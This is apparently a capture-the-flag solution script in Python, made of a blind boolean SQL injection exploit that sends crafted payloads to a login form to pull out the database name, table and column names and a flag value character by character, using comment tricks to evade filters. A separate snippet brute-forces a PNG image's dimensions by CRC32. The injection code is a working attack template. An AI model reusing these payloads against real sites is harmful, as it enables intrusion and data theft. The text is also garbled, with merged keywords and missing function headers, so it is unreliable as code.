defdbs_len():#3 for i inrange(1,20): payload="admin'/**/and/**/length(database())=%d#"%i data={'username':payload,'password':123} txt=requests.post(url,data=data).text if success in txt: return i
defdbs_name_bi(len): name='' min=33 max=126 mid=(min+max)>>1 for i inrange(1,len+1): whilemin<=max: payload="admin'/**/and/**/ascii(substr(database()/**/from/**/%d/**/for/**/1))=%d#"%(i,mid) data = {'username': payload,'password':123} txt = requests.post(url, data=data).text if success in txt: name=name+chr(mid) print(name) break; else: payload = "admin'/**/and/**/ascii(substr(database()/**/from/**/%d/**/for/**/1))<%d#" % (i, mid) data = {'username': payload, 'password': 123} txt = requests.post(url, data=data).text if success in txt: max=mid-1 mid=(min+max)>>1 else: min=mid+1 mid=(min+max)>>1 min = 33 max = 126 mid = (min + max) >> 1 return name
defdbs_name(len):#ctf name='' for i inrange(1,len+1): for j in str_range: payload="admin'/**/and/**/ascii(substr(database()/**/from/**/%d/**/for/**/1))=%d#"%(i,j) data = {'username': payload,'password':123} txt = requests.post(url, data=data).text if success in txt: name=name+chr(j) print(name) break; return name
deftable_num():#2 for i inrange(1,20): payload="admin'/**/and/**/(select/**/count(*)/**/from/**/information_schema.tables/**/where/**/table_schema=database())=%d#"%i data = {'username': payload, 'password': 123} txt = requests.post(url, data=data).text if success in txt: return i
deftable_lengths():#17 for i inrange(1,50): payload = "admin'/**/and/**/(select/**/length(group_concat(table_name))/**/" \ "from/**/information_schema.tables/**/where/**/table_schema='ctf')=%d#"%i data = {'username': payload, 'password': 123} txt = requests.post(url, data=data).text print(txt) if success in txt: return i
deftable_names(len):#admin,fll11144aag name='' for i inrange(1,len+1): for j in str_range: payload="admin'/**/and/**/(select/**/ascii(substr(group_concat(table_name)/**/from/**/%d/**/for/**/1))/**/" \ "from/**/information_schema.tables/**/where/**/table_schema='ctf')=%d#"%(i,j) data = {'username': payload, 'password': 123} txt = requests.post(url, data=data).text #print(txt) if success in txt: name = name + chr(j) print(name) break; return name
deftest(): for j in str_range: payload = "admin'/**/and/**/(select/**/ascii(substr(group_concat(table_name)/**/from/**/1/**/for/**/1))/**/" \ "from/**/information_schema.tables/**/where/**/table_schema='ctf')=%d#" %j data = {'username': payload, 'password': 123} txt = requests.post(url, data=data).text print(txt) if success in txt: returnchr(j)
defcolumn_lengths():#admin 20 fll11144aag 10 for i inrange(1,60): payload = "admin'/**/and/**/(select/**/length(group_concat(column_name))/**/" \ "from/**/information_schema.columns/**/where/**/table_name='fll11144aag')=%d#"%i data = {'username': payload, 'password': 123} txt = requests.post(url, data=data).text print(txt) if success in txt: return i
name='' for i inrange(1,len+1): for j in str_range: payload="admin'/**/and/**/(select/**/ascii(substr(group_concat(column_name)/**/from/**/%d/**/for/**/1))/**/" \ "from/**/information_schema.columns/**/where/**/table_name='fll11144aag')=%d#"%(i,j) data = {'username': payload, 'password': 123} txt = requests.post(url, data=data).text print(txt) if success in txt: name = name + chr(j) print(name) break; return name
defdata_lengths():#admin 20 fll11144aag 10 for i inrange(1,100): payload = "admin'/**/and/**/(select/**/length(group_concat(ff1lllaggg))/**/" \ "from/**/fll11144aag)=%d#"%i data = {'username': payload, 'password': 123} txt = requests.post(url, data=data).text print(txt) if success in txt: return i
name='' for i inrange(1,len+1): for j in str_range: payload = "admin'/**/and/**/(select/**/ascii(substr(group_concat(ff1lllaggg)/**/from/**/%d/**/for/**/1))" \ "/**/from/**/fll11144aag)=%d#" %(i,j) data = {'username': payload, 'password': 123} txt = requests.post(url, data=data).text print(txt) if success in txt: name = name + chr(j) print(name) break; return name
m = open("mirror.png", "rb").read() k = 0 for i inrange(5000): if k == 1: break for j inrange(5000): c = m[12:16] + struct.pack('>i', i) + struct.pack('>i', j) + m[24:29] crc = binascii.crc32(c) & 0xffffffff if crc == 0xE82F0D63:#根据不同的照片,此处CRC32的值每次需要改写 k = 1 print(hex(i), hex(j)) break